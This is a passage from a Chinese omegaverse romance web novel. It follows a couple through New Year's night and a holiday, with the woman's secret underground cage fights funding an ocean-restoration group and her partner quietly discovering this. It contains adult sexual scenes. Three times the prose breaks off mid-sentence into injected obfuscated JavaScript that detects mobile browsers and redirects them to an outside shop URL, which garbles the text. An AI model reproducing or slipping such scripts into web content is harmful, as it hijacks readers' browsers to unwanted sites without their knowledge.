“——我真要和你新仇旧恨一起算了,之前毕业考核的时候就加omega,现在又加上了是吧?”楚洄一刻也忍不了,悬梯刚动就忍不住问出声,梁峭扶了他一把,说:“你真的喝得有点多。” “没多!”楚洄说:“是不是想来认识你?” 梁峭没否认,嗯了一声,说:“邀请我今天一起过夜。” 楚洄没想到那个女人这么直白,语气危险地问:“然后呢?” 然后? 梁峭侧眸看他,沉静的目光仿若要凝成实质,说:“然后,我说我有人一起过夜了。” 这句话实在算不上甜言蜜语,但或许是因为说出它的是站在自己眼前的这个人,所以楚洄又不可遏制地头晕目眩了,倾身看了她两秒,视线微垂,毫无预兆地吻上了她的嘴唇。 悬梯在飞速下落,如一滴水穿越城市天际线,四面是全然的透明,他们悬浮在百米的高空,脚下是流光溢彩的城市。 失重感从脚底漫上来,混着肾上腺素带来的轻微眩晕,金黄的街道变成了融化的蜜糖,靛蓝的楼宇化作了磅礴的海洋,鼎沸的人声被过滤成遥远的潮汐,成千上万的脸孔汇成模糊的光斑。 霓虹灯光流淌出会发光的河,比灯火更汹涌的是爱人的眼睛。 …… 回家的时候两人终于上了同一辆车。 门一关上,楚洄就扑着她倒向了后座,0916自动校准路线,平缓地汇入了主车道。 梁峭轻轻摩挲着他耳后发烫的皮肤,纵容了他没完没了的一个吻,楚洄边亲边在心里估算时间——嗯,今天新年,堵车一定是在所难免的。 既然如此,当然要给自己找点事做。 8.chapter8 0916打开了勿扰模式。 毕竟是在车上,楚洄也不敢脱得太干净,只敞出了两条白生生的长腿,很熟练地分开跨坐在她身上,看样子是要践行他白天自己说的话。 尽管他自己一直否认,但梁峭知道他有点喝醉了,所以一直纵容着他所有的动作,手掌默默地扶住他的腰,偶尔才提醒一句:“慢点。” 可楚洄向来不是听话的人,又或者说眼前这个人让他没办法真正慢下来,他无法抑制自己的焦渴,俯下身去亲她,迫切地像是在哪个干涸地寻找着唯一的水源。 光怪陆离的城市被隔绝在一窗之外,所有的感官都在这个狭小黑暗的空间里被放大,两个人的喘息声交织在一起,一下、又一下。 梁峭的信息素溢出了一点,很浅很淡,苦涩中带着一丝纸莎草的味道,没什么攻击性,就像她这个人一样,安静的时候就像一块石头。 现在,他要用自己浸润这块石头。 …… 就像楚洄预料的那样,因为跨年的人群,从特列吉尼中心到家属区的时间比平常整整多了三倍左右,一直到凌晨两点两人才堪堪进了家门,只是楚洄还没有从醉酒纵情的状态中回过神来,被放到床上的时候依旧毫无反应。 放入食材,输入指令,厨房的各项机器进入了熬煮醒酒汤的流程,梁峭简单地收拾了一下,回到床边,发现某个醉鬼正皱着眉头解自己的衣服。 “痒……梁峭,”他闭着眼睛叫她名字,手往下摸索,搭在裤腰上,含含糊糊地说:“弄一下……我要漏了……” 她一时间不知道该去捂他的嘴还是按他的手,沿着床边坐下来,说:“别动。” 醉鬼松手了。 她先抽了两张湿巾给他擦了擦脸,随后才俯身解他的衣服,凌乱的制服外套被扔到沙发上,然后是衬衫和裤子。 梁峭不热衷于在他身上留下什么过于深重的痕迹,但经历过情潮的身体定然不会光洁如初,她将他抱进淋浴间擦洗,手掌刚刚擦过腰臀,他就从善如流地分开了双腿,半张脸埋在她肩窝里,闭着眼发出模糊的轻哼。 …… 洗完澡,楚洄勉强找回了几分神智,自己趿上拖鞋去厨房喝醒酒汤,时间还剩半分钟,他揉了揉脸,半倚着桌边站着。 叮的一声,餐门自动打开,醒酒汤已经控制在了最适宜的温度,他抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987349|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出来,刚喝了一口,发现餐台边上放着一盒熟悉的药。 是omega避孕药。 现在市面上的避孕药没什么副作用,他和梁峭都吃过,只是看到这药,他才想起来刚刚在车上他似乎放.浪过头了,以至于小腹到现在还残留着酸胀的感觉,他顺手拿出一颗放进嘴里,和醒酒汤一起喝下去,脑子却胡乱地想着,如果和梁峭有个孩子好像也不错。 明明才在一起一年多,但他好像从来没生出一点要和她分开的念头,现在两个人都毕业了,要考虑的事情也多了起来,嗯,结婚的话…… 是不是得向婚姻匹配系统递交材料?好像还要婚检,还有什么? 他就着这几个问题喝完醒酒汤,把碗放回了餐柜,然后打开清洗模式,床那边的小夜灯已经亮起来了,他走进卫生间洗漱,终于在三点之前躺在了床上。 结婚…… 现在问的话是不是有点突然?今天毕业典礼才刚结束。 他犹豫了几秒,想说又没说,一躺进被子里困意就席卷而来,但他还是强撑着抱住了身边的人,直到一个轻柔的吻落在自己额头,他终于放松心神,迫不及待地睡了过去。 9.Chapter9 第二天是8小时限电日。 新年第二天就限电已经是联邦的传统了,但由于昨夜的晚归,梁峭并没有提前做准备,打开橱柜看了看存货,拿出仅剩的两包自热面条。 早餐做到一半,床那边传来动静,楚洄接到一个通讯,声音沙哑地问了句谁。 “新年快乐……嗯……知道了……” “我和梁峭在一起呢,不去……” “谁管你,你自己玩吧,我昨天喝得有点多,没力气。” “就算是也是情侣之间的正常生活,你管得着吗?” 说了几句,他大概是清醒了一点,声音变得清晰了起来,冷笑道:“到底是谁没出息,至少我没去找前女友六次被睡了六次。” “……那你现在是第七次了,真有节目,不然我帮你报个名吧,你等咱妈过生日的时候上台表演一下什么叫倒贴,指定拿下第一名,完全没人能跟你竞争啊。” “是是是,我又不懂了,你有自己的节奏,节奏哥。” “滚吧你,你没人要我有人要,梁峭前天才从旧三区回来,我得陪她。” “再说吧。” “不。” 通讯挂断了。 安静了一会儿,拖拖拉拉的脚步声就响了起来,紧接着是卫生间的水声,很快,身后靠过来一具温热的躯体,楚洄低头轻吻她侧颈,双手环过她的腰,在身前轻轻交错。 梁峭没在意,继续着手上的动作,只是刚等她偏过一点头,那吻就见缝插针地从耳后蔓延到了唇角,她顿了顿,垂下眼睫,纵容般地和他接了个绵长的吻。 楚洄唇角微翘,就着这个姿势腻进她怀中,偷偷睁开一点眼睛看她,不知怎的又有点得意。 是该得意,刚认识的时候谁会想到有今天呢,17岁的梁峭可比21岁时更冷更硬,穿着制服站在队伍里,谁经过都不会多看一眼。 太疏离了,对谁都是,仿佛一个沉默的影子,随时都能抽身而去,但现在这个影子就变成了独属于他一个人的怀抱,举手投足间甚至带着点温柔的味道。 他越亲越不够,只想没完没了地黏着她,直到梁峭捏着他的下巴结束了这这个吻,说:“吃饭。” 他立即摆出一副可怜无辜的样子,问:“不能先吃我吗?” 她不为所动,顺手捏了捏他的脸,转身端过两份早饭走出了厨房。 …… 在家躺了没半天,楚洄再一次接到了楚游的通讯,对方已经到兰度了,话里话外的意思就是让他去停航区接他。 梁峭对他的alpha哥哥略有耳闻,但也仅限于知道他是海地管理总署的高层,常年驻守在重点岛区,比楚洄大了三岁。 楚洄和他拉扯了几分钟,想拒绝却没拒绝掉,划掉通讯后就一脸怨气,把头用力埋进梁峭怀里不说话。 梁峭摸摸他的头发,说:“毕竟很久没见了。” “我和你也很久没见了,”他仰头看她,说:“你不想我陪着你吗?” 梁峭说:“假期还有很久。” 楚洄哼了一声,说:“那你明天别让我下床。” 梁峭摸了摸他后颈的抑制贴,意有所指地问:……你是不是快发热期了?” 楚洄抬起头看她,似乎很不满意她这个反应,二人对视了两秒,梁峭后知后觉地反应过来,说:“……是因为我太久没回来了。” 楚洄又把头垂了下去。 躺了十来分钟,他终于恋恋不舍地爬起来换衣服——楚游是过来开会的,大概还得庆祝一下他顺利毕业,现在过去说不定得等明天才能回来,他黏着梁峭把他送到了楼下,在0916到达宿舍楼下前又腻乎了好一会儿。 “走了,晚点给你发讯息。” 他同她作别,最后勾住她的脖子用力亲了一口。 梁峭看着0916消失在拐角处,却没有转身上楼——今天天气很好,阳光暖融融的,带着点微风,她打开终端,被二次隐藏的聊天框跳出来,写着一个具体的时间和地点。 ———————————————————— 晚上六点,梁峭坐上了去往下城区的空轨。 23号线是兰度空轨最长的一条线路,一个小时直达联邦首都的边缘,出了站,还需要再坐十五分钟的地面轨线,最后到达下城区的中心。 或许是放假的缘故,连带着下城区人也多了起来,穿着天差地别的人们走在同一条街上,路边灯光昏暗,时不时就有男男女女意味不明地从她身边经过,各种信息素混杂着钻入鼻腔,带着明显的引诱意味。 梁峭熟练地避开那些人,穿过几条街巷,最后停在了一家没有招牌的店门口,入口处的墙壁上歪歪扭扭地写着inside,不知道是店的名字还是在邀人进入。 她抬起手在那单词的上方扫过,隐藏的摄像头识别了她的掌纹,很快,厚重的谷仓门就缓缓打开了一条窄缝,鼓噪的声浪伴随着眩目的灯光瞬间扑面而来,几个老旧的滑动机器台从腿边掠过,将端着的酒杯送到各个顾客桌前。 浓重的烟雾和酒气侵袭了五感,但梁峭神色丝毫未变,沉默地穿过人群,沿着墙壁走到了一个隐藏式的电梯口前。 电梯来到了地下三层。 相较于四处限电的中央城区,这里的灯火倒是璀璨通天,但依旧无法掩盖充斥在各个角落的破旧和低廉,兴奋的呐喊声几乎是贴着她的耳膜响起,前来接她的度灵看了一眼被人群层层包裹的斗笼,说:“W今天上场了。” 梁峭依稀记得这个代号,似乎是地下斗场最近一年的新星,一天之内连着打了26场毫无败绩,由此一战成名。 她嗯了一声,没有接话,度灵也习惯了她的沉默,带着她走进候场休息室,说:“你确定要今天上?万一抽到W怎么办?” “没事,”梁峭打开了那个写着“L”的柜子,从里面拿出衣服换上,说:“只有今天有时间。” “不过今天比注也高,你要是能赢至少是这个数,”她朝梁峭比了个五,压低声音说:“刚好有大人物来。” 大人物? 梁峭皱了皱眉,尽管心里知道不太可能,但以防万一还是问了一句:“知道是谁吗?” 度灵道:“听说是委员会的,姓仲。” 不是楚游。 只要不是认识的人,她也无所谓来的大人物是谁,伸手取下腕间的个人终端前最后回复了一条讯息,把粗糙的革带一圈圈绑在了手腕上。 休息室外传来了爆发式的欢呼声,应该是比赛结束了,度灵挥开光屏看了看,说:“W又赢了。” 很好。 ———————————————————— W没下台,新来者只能挑战他,铁门在梁峭俯身进入后哐当一声合拢,极具压迫感的灯光从上至下照过来。 一个男……alpha。 信息素太杂了,几乎无法辨认什么味道属于谁,她只能通过对方的身形中大概看出他的性别——身高和她差不多,也一样戴着赛事允许的纳米面具遮掩身份。 这在地下斗场再正常不过了,毕竟没有观众会在乎笼中的两个人究竟是谁,只要能带给他们感官上的刺激,他们就愿意慷慨的挥洒金钱。 这正是梁峭所需要的。 W刚打赢一场比赛,整个人都已经进入了一种兴奋又狂热的状态,通红的眼神像是刚出鞘的刀,像是看待猎物一样牢牢地攫住了她。 他们没有信号示意,从进入斗笼的那一刻起就代表着比赛开始,门关上后两个人各自贴着笼边走了两步,在意识到她不会先出手后,W就握紧双拳猛地朝她冲了过来,梁峭侧身躲过,抬起手臂格挡他紧随而来的肘击。 观众席爆发出第一波吼叫,连带着铁笼都在微微震颤。 防守与进攻几乎同步发生,紧接着就是快出残影的你来我往,梁峭在三分钟后结束了试探,在又一次躲过他抬起的膝盖后给出了一记直击下颌的重击,W踉跄了几步后站定,看向她的目光愈发凶狠,但梁峭没有任何乘胜追击的意思,依旧站在自己的那一小块地方等着对方再次出手。 躲避、攻击,这是梁峭在兰格利亚学到的最有用的两个招式,但她却没有像教授教的那样用它保护别人,而是先用在了这个不见天日的地下斗场。 过于割裂的两种体验让她有点恍惚,甚至是开始怀疑——那个穿着制服,站在方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998082|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟纪念堂和同学们一起庆祝毕业的人和现在的她真的是同一个吗? 她无法给自己一个确切的答案。 …… 半场比赛以30分钟为界,时间一到,尖锐的铃声就在上方响起,灯光闪烁,双方停战。 其实地下斗场的赛事很少有持续这么长时间的,十分钟就被打趴下的人比比皆是,就比如上一场比赛,从梁峭踏上电梯开始,到她换好衣服结束,前后甚至不到十分钟。 在场的人都被勾起了兴趣,下注的金额也越来越大,梁峭从打开的斗笼走出去,接过度灵递过来的水一饮而尽。 …… 水杯被放下,发出不大不小的声音,在悠扬的音乐中显得毫不起眼,楚游皱眉看了一眼坐在对面的人,说:“吃饭,不准看了。” “你吃你的,别管我,”楚洄时刻关注着终端上的讯息,皱着眉头说:“都半个小时了,她怎么不理我。” “才半个小时——”楚游压抑着怒气,说:“你不是说你不倒贴吗?” “这叫倒贴?”他故意摆出一个夸张的表情,问:“那你免费帮前女友消耗家里的计生用品叫什么?做实验吗?” 楚游捏紧餐具,咬牙切齿道:“闭嘴。” “又找我吃饭又让我闭嘴,”楚洄表示不能理解,边给梁峭发讯息边说:“我晚上可不陪你啊,最多给你送到南3区那边。” 楚游没说话,不长不短地叹了口气,拿起银叉继续吃眼前的蔬菜沙拉,可就算这样他弟弟还不放过他,说:“保持身材不如放下身段,你说两句好话不就什么都解决了吗?再不济就用点非常手段,你需要的话我把我的私藏推给你啊,保证你穿了……” “闭嘴——”楚游实在没忍住,在桌下用力踢了他一脚,说:“我没兴趣。” “行,你嘴最硬了。”他没再坚持,又或者说只是注意力被转移走了——梁峭回复了他说晚上要回家的消息,虽然只有简简单单的一个好字。 悠扬的音乐进入了高.潮,柔和的灯光扫过,逐渐变得明亮刺眼,斗笼再次被关上,周围观众的声浪一层高过一层。 W和她僵持了30分钟,几乎没有真的伤到她一分一毫,现下也不敢再轻敌,站在边缘警惕地看着她。 只是这回先出手的人变成了梁峭,瞬息之间,她就举步冲到了眼前,W下意识抬手格挡,很顺利地接下了一招,但下一秒,对方的前臂就贴着他的出拳线切了进来,一只手顶开手腕,另一只手扣住后颈,膝盖猛抬,角度极其刁钻地顶入肋下。 她的速度和力度比上半场整整翻了一倍,被击中的那一瞬间W几乎是震惊地瞪大了双眼,想要抵抗却无计可施,只能眼睁睁地看着她锁住自己的肩线,然后用力一扭。 “咔——”他确信自己听到了从身体深处传来的错位声,在如潮的声浪中轻巧得像是空气被挤碎。 一分钟,比赛结束了。 …… 摘下面具,换好衣服,梁峭把自己藏在欢呼的人潮中离开了此地,一个半小时后,她到达宿舍楼下,在走进电梯后抬手脱掉了混杂着各种气味的外套。 走进家门的第一件事就是清除气味,所有衣服都被脱下来放进洗衣机的除味程序里滚了一遭,她自己也快速洗了个澡换上睡衣,然后马上把处理好的衣服原模原样叠进衣柜里。 做完这一切,她最后掀起衣服看了看自己的腰间——那个W实力不弱,她也不是全然没受伤,但所造成的不过是肋下一块还未显现的淤青,完全可以伪装成前两天训练所造成的后果,这也是她惯用的办法。 应该没事,至少在时间的把控上还是十分精准的,听着玄关处传来的声音,她放下衣摆,退后几步坐到了沙发上,看着楚洄打开门进来。 “我回来了,”他进门第一件事就是寻找梁峭的身影,换好拖鞋,把随身物品转手丢在一边,然后用和上午一模一样的姿势扑倒在她怀里,说:“累死了,没有人比我哥更烦人的了。” 他随口抱怨了几句就来亲她,问:“一个人在家是不是很无聊,有没有想我?” 梁峭没回答,半揽着他的腰把他往上托了一点,自然而然地和他拥吻在了一起。 10.chapter10 晚上睡觉前,两人一起进浴室洗漱,楚洄看起来真累了,洗到最后都没有越界的意思,只是搂着梁峭亲了亲,等出来后就穿上睡衣扑倒在床上,划开终端百无聊赖地翻着新闻。 楚游正好给他发讯息,没头没尾地说了一句:她也在兰度。 楚洄点开来看,问:然后呢。 楚游:她听说我也在,叫我过去。 楚洄一针见血,问:她听谁说的。 楚游:…… 对方的沉默无异于一种答案,楚洄笑出声,回复道:跟我就别装了,哥。 楚游当作没看见,继续言辞躲闪,不死心地问:我该怎么回。 要是放在以前,他是绝对不会问弟弟这种问题的,原本因为工作,他们的联系就十分有限,再加上家里一贯秉承放养式教育,从小就告诉他们亲人是后盾而不是牵绊,所以他们一直都确信家中的每个成员都应该把自己的人生道路放在第一位,也坚信对方能为自己的选择负责。 基于这些,他们从来不过问彼此的私生活,就连楚洄谈恋爱的事情都是他在四个月前偶提到他才知道的,后来一直也没多关注,直到最近有一个新同事从兰格利亚联邦学院调职到了海地管理总署,机会摆在眼前,又出于某种“想知道楚洄第一次谈恋爱的对象是个什么样的人”的好奇心,他就向对方提及了梁峭这个名字。 兰格利亚的学生众多,他一开始并没有抱着对方一定认识她的心态去了解,但没想到此人在学校还算是半个风云人物,不仅个人能力十分强硬,所在小组的综合分数也一直排在学院第一。 “就是有点不爱说话,性格太孤僻了,”同事想起自己带过的几堂课,笑着说:“不过外形很出挑哦,光是往那一站就有很多人扑上去,每次课间都有同学想吸引她注意力。” 说到这,他还给楚游看了几张集体照片,每张照片梁峭都默默站在后排的角落里,但高精度的摄影还是能看清她十分出众的五官的每张照片都如出一辙的淡漠神情。 同事多问了一句:“怎么了?你怎么突然问起她。” 想起楚洄还没把此事告诉别人,他也就没有说破,随便找了个理由搪塞过去,只说是想了解一下今年这批学生素质怎么样。 等到这次和楚洄见了面,他也近距离地了解到了他谈恋爱的状态,对方不吝惜与他分享,甚至十分大方地给他看了几张和梁峭的合照,这些照片里的alpha依旧是同样的五官和神情,但眼神明显温和了很多,垂睫的时候甚至带着几分纵容和笑意。 ——不得不承认弟弟确实就是有让人喜欢的能力,想起自己乱七八糟的感情,他思来想去还是决定不耻下问,希望能尽早达到和对方一样的效果。 而另一边,楚洄甚至多看了几遍这句话,不敢相信他哥和他吃了一顿饭居然开窍了,抱着枕头颇有兴致地教他,说:你回,好的老婆,我来当你的小狗了。 他发誓他是真的在教学,但讯息发过去,好一会儿才有了回音,楚游的声音带着点被气笑了的无奈,说:“……滚,你天天就这么和你女朋友相处的?” 楚洄坦然相告:我们没这么迂回。 楚游:……我说真的。 楚洄不知道他为什么不相信,说:谁说假的了? “没意思。”就说了这么几句,对面就彻底已读不回了,正好梁峭也关灯上了床,楚洄毫不犹豫地划掉了终端,被子底下的脚熟练地蹭上她的小腿。 明天还是什么都不用干的假期,楚洄很难心情不好,勾着她的手指问:“明天就在家待着?” 梁峭说:“好。” 他眯眼笑了笑,道:“打游戏吧,怎么样,上次那个游戏还没通关。” 他口中的游戏叫做《星轨重建》,是一个双人竞技类游戏,原本是兰格利亚联邦学院专为学生开发的决策训练系统,后来系统几经更新,最初的旧版就被做成了一个游戏。 一开始这个游戏只在学院内部流通,但最近经过授权开放了民用娱乐版本,增加了很多可触发的趣味情节,网上还有很多人分享各种各样的攻略,楚洄看到后有点感兴趣,结果买下来刚过了新手关,陪他打游戏的的人就去参加封闭式训练了。 “嗯,”梁峭答应,但顿了顿还是补充了一句:“不要耍赖。” 她能这么说,很显然楚洄有不少前科,但他现在却不肯承认,说:“我哪有耍赖,本来就是你们学院的游戏,你让让我怎么了,大不了我让你别的。” 梁峭下意识问了句:“什么。”但刚问出口,她就突然预感到她会听到什么,立刻伸手去捂楚洄的嘴——可惜还是晚了一点,他笑眯眯地说完那三个字,又说:“我还买了新衣服哦。” 梁峭默然,说:“你不会故意输吧。” 楚洄还是笑,说:“那要看你想不想让我穿了。” 这问题显然是个坑,原本这个系统就是梁峭他们学院的人用的最多,游戏还被削减了40%的难度,对她来说完全是满级号过新手村,楚洄和她一起玩,想输想赢就全看她的意愿,现在他这么问,她要是赢了就是想看,输了就是让他,怎么比到最后都是如他所愿。 所以梁峭没有回答,伸手遮住他笑眯眯盯着她的眼睛,把他整个人往怀里按了按,说:“睡觉。” 怀里传来楚洄得逞后的笑,她手掌向下,转而捂住了他的嘴。 ———————————————————— 不知过了多久,耳边传来了均匀的呼吸声,身侧的人已经睡着了,楚洄又安静地躺了一会儿,随后微微侧身,从床头的矮柜中摸索着拿出了自己想要的东西。 很快,黑暗中响起了几声很轻的喷雾声,楚洄垂手把东西放回去,迅速躺回原来的位置上,微凉的药剂被揉开捂热,手掌往下,轻巧地探入了她的睡衣下摆。 ……似乎是在这。 他思索着刚刚洗澡时看到的位置,动作轻柔地在那处淤伤上轻抚。 等给她小心翼翼地敷完药,他也还是睡不着——梁峭去地下格斗场的事情他很早之前就知道了,她以为自己做的滴水不漏,每次都选训练完后的时间过去,以免身上多出什么解释不清由来的伤口,但两个人经常住在一起,又怎么可能真的一无所知。 第一次发现的时候他还以为她是和别人起冲突了,很紧张地问怎么回事,结果她一口咬定是训练时候受的伤,一次两次还好,次数多了他再傻也能发现端倪,更何况她身上有多少伤他大概比她自己还清楚,她却真的以为用这种说辞就能骗过他。 梁峭不愿意说的事,再死缠烂打也没用,再说了他也不是死缠烂打的人——一开始他确实是这么劝自己的。 但是后面就没办法了,他无意间瞥见她的转账信息,两件事一联系,怎么想怎么不妙。 他当然不愿意怀疑梁峭出轨,理智告诉他梁峭不是这样的人,但学校里喜欢她的女女男男实在不少,两个人又没把在一起的事情告诉别人,万一有人勾引她他也不知道啊。 ……毕竟梁峭看起来生人勿近,但按照他的亲身经验,其实也挺好勾引的。 思来想去,他还是去查了一下那条转账信息,发现她转账的对象并不是一个人,而是旧海岸重建区的一个半公益 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012756|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性的组织,那个账号也是一个面向社会开放的捐助账号,没有任何私密性可言。 账号的名称也非常清晰直白——旧海岸重建共同体,不关注旧三区新闻的人大概听都没听说过,资料显示是一个半官方备案、非行政单位、非盈利的公益性组织,在旧海岸重建区拥有非常有限的自治权,长期处于财政与资源紧张的状态。 他在光脑上收集和这个组织有关的所有信息,也是第一次这么清楚地了解旧三区的环境状态——这个地方是寒叠季洪积事件后最早被人类踏足的区域,也是污染最严重的区域,其中旧海岸的浅海生态几乎被全面破坏,不仅聚集了旧工业遗留的重金属沉积,还有大量无法回收的沉没设施,甚至还有相当一部分的次生污染源直到现在都在完全暴露,没有被妥善的合理封存。 出于对环境的担忧和海洋的保护,有一批人自发性地来到了这里,希望能为旧三区的重建做出贡献,当然,最后留下来的人并不多,资料上也显示了旧海岸重建共同体成立于3754年,最开始的组织者只是四个诺瓦利斯生态大学的学生。 后来经过持续发展,旧海岸重建共同体形成了一个比较完整的公益性组织,其目标也从重建旧三区变为了维持旧海岸浅海生态的最低存活线,最核心的研究项目分别为人工礁修复,微型生物群落培育和污染源封存。 不过由于经费不足、设备老旧,以及人员流动过大,这个组织一直处于岌岌可危的状态,3790年的时候还出现过一场意外事故,导致了6个核心成员在浅层污染海域死亡。 事故原因并没有被封存,可以直接在网上查到,他心里隐隐有了猜测,继续沉默地看下去——“在铺设近海生态稳定装置的任务过程中,因为原预定的铺设路线上出现了旧工业管线残骸,在请求偏移避让的过程中水流异常增强,传感器记录到局部漩涡,尔后通讯出现间歇性噪音,人员报告视野受限,直到最后生命体征信号中断,通讯完全失联。” 大概三天后,六名成员的遗体被先后寻回,通过他们身上破损的防护服外壳和缠绕的旧管线,救援组织排除了装备故障和人为违规操作的因素,将这场事故定论为了一场意外。 事情到这里已经很明朗了,他也已经猜到了梁峭为什么会一直捐助这个组织,可即便是做好了万分的心理准备,当他看到那串死亡名单上所出现的姓氏后,心口还是重重地颤抖了一下,一时间甚至有些呼吸不上来。 梁峭是绝对不缺钱的,就算不去格斗场,V01小组的考核成绩也能让她每年都得到一笔不菲的奖学金,足够她五年的学费生活费还要绰绰有余,但这笔钱放在一个需要设备和人员的环保组织面前就不够看了,所以她只能通过别的办法去获取。 兰度的下城区势力交错,实力称王,灰色地带偏多,看起来不起眼的地方往往隐藏着暴利,虽然他不知道她是怎么接触到地下格斗场的人的,但他没有再细查下去,甚至没有在梁峭面前提过这件事。 之后,他也开始向这个组织进行持续性的匿名捐款,每次都是不高不低的数字,不会引起过多关注被梁峭发现,也能让这个组织宽裕许多,从那以后她就减少了去下城区的次数,就算去了身上受的伤也会轻很多,他也终于不用每次都提心吊胆她会出什么事。 她的少年时代大概过得很辛苦,十五岁失去家人,十六岁一个人来到兰度,中间这一年她是怎么过的,来学院后会不会想家? 每次想到这些都心疼,又因为太心疼了所以不敢想,楚洄在黑暗中缓慢地眨了眨眼睛,指尖触碰到她温热的掌心,微微蜷缩,很轻地勾住了她的指节。 11.chapter11 下午三点,拉着窗帘的室内闪烁着各色光流。 重重高台之上,身上叠满了各种增益的角色再一次掉下了白塔,无数建筑的残影从眼前飞速掠过,怎么抓也抓不到停留点。 楚洄的目光紧紧地盯着屏幕,指尖在切换成游戏模式的终端光屏上快速移动,试图在危机时刻力挽狂澜,但最终还是没能成功,只能眼睁睁地看着自己操纵的角色再次死亡,属于自己的那半边全息屏幕则被蒙上了一层象征着失败的灰色。 “啊——” 他已经在这个白塔上卡了整整十分钟了,刚刚是他尝试的第十五次,而梁峭在第一次通过的时候就顺利到达了传送点,此刻正站在一旁的高台上气定神闲地看着他。 现在只要她手指微微一动,她所操纵的人物就能顺利到达下一关,然后他头上的数字就会从-5变成-6。 “诶你别动嘛,让我再试试——”眼看身旁的人有想动手的意思,楚洄立刻扑过去按住了她的手,说:“我再试一次!” “已经给了你……”梁峭看了一眼屏幕右下角的剧情循环条,说:“十五次机会了。” “我就差一点!”他坚信自己下一次就能过,说什么都不肯让梁峭先走,直接伸手暂停了她光屏上的游戏模式,顺带仰头亲了亲她的嘴唇,说:“真的最后一次!” 梁峭无奈地看着他,摊开掌心往前送了送,说:“您请。” 楚洄眯着眼笑起来,重振旗鼓,将视线重新聚焦于屏幕之上,几个重复的剧情点后,他又一次走到了上次失败的地方,指尖微动,控制着角色开始起跃,纵身一跳,在鳞次栉比的楼宇间疾速穿行。 随着最后一个飞荡,角色终于穿越了白塔,有惊无险地落在了高台边缘,趁着梁峭还没解除暂停,他毫不犹豫地越过她跑到了传送点,光芒亮起,眼前的界面变成了一个新的地图,代表胜利的花束也绽放在了他的脚下。 太明显的耍赖了,但楚洄毫不心虚,甚至还翘起唇角得逞地看向梁峭,一倾身,窗外的阳光就笼罩住了他飞扬含笑的眉眼,将那乌沉的瞳孔映照成一汪琥珀,眼尾眉梢都堪称生动。 他还沉浸在胜利的喜悦中,并没有注意到她凝视着自己的目光,得意地说:“我就说我能过去吧……”话没说完,尾音就被突兀地吞掉,是梁峭吻住了他的嘴唇。 她不知道是是什么时候离自己这么近的,又或者是他刚刚太入神了所以没注意自己已经贴进了她怀里,但不管怎么样,当时当刻,什么游戏都不如由她主动的这个吻重要,楚洄只反应了半秒,就扔了终端抬手环上她的脖颈,主动将舌尖探入了她的口中。 “哈……”越亲越收不住,连带着身体也跟着意动,大腿不小心蹭到了她的膝盖,被她伸手按紧。 全息屏幕上的光流还在房间各处蔓延,因为长时间的待机开始变得涣散扭曲,两个人就像坐在一个不断流动的光茧内接吻,好不容易分开一秒,又在下一秒的对视中吻在了一起。 这回彻底收不住了,梁峭想起他昨晚说的话,声音里含了点不易察觉的调侃,说:“不是说想穿新衣服吗?” 楚洄理直气壮地说:“我又没输。” 梁峭更想笑了,唇角微微抬起来一点,被他亲了又亲,然后就胡乱来扯她的睡衣,说:“这次来不及了,你想看下次再穿。” ……是有多来不及。 ——当然来不及,要不是顾念着梁峭昨晚去了格斗场,他本来今天就应该下不来床的,现在她还主动亲自己,他已经很克制才没第一时间去脱她裤子了好吗? “你好慢……”他都已经爬到床上做好准备了,身后的人还是慢吞吞的,他看不得她一点都不着急的样子,忍不住开始发.浪,说:“是找不准位置吗?要不要我帮你写个由此入内——” 话音被拉长了好一段,然后再被无情地截断,最后变成了一声低低的喘息溢出喉间,梁峭低头亲他的肩膀,说:“好,等一下就写。” …… 真写啊…… 要死要死要死…… 和梁峭做了那么多次,他脑子里也多不出什么别的话,刚刚还勉强留存的理智在那支不知从哪翻出来的油彩笔落在大腿上的时候就崩裂破碎了,笔尖触碰皮肤所带来的酥麻感远远比不上这几个字所带给自己心理上的异样,恍惚中他感觉自己也开始随着那些光流扭曲旋转,脑子里模模糊糊地想着——他今天大概真的要下不来床了。 ———————————————————— 两人一直在床上待到了天黑,全息屏幕已经被关掉了,屋内一片昏暗,梁峭抱着怀里的人,问了一句饿不饿。 楚洄已经缓过来了一点,哑着嗓子说:“有点。” 梁峭划开终端,说:“我买点吃的,想吃什么。” 他闭着眼睛报菜名,这也想尝一点那也想尝一点,梁峭都给他点了,最后问:“去洗澡?” 他不肯动,黏黏地贴着她,说:“等一会。” 好吧,等一会儿,梁峭重新环住他的腰,指腹贴在他光洁细腻的皮肤上无 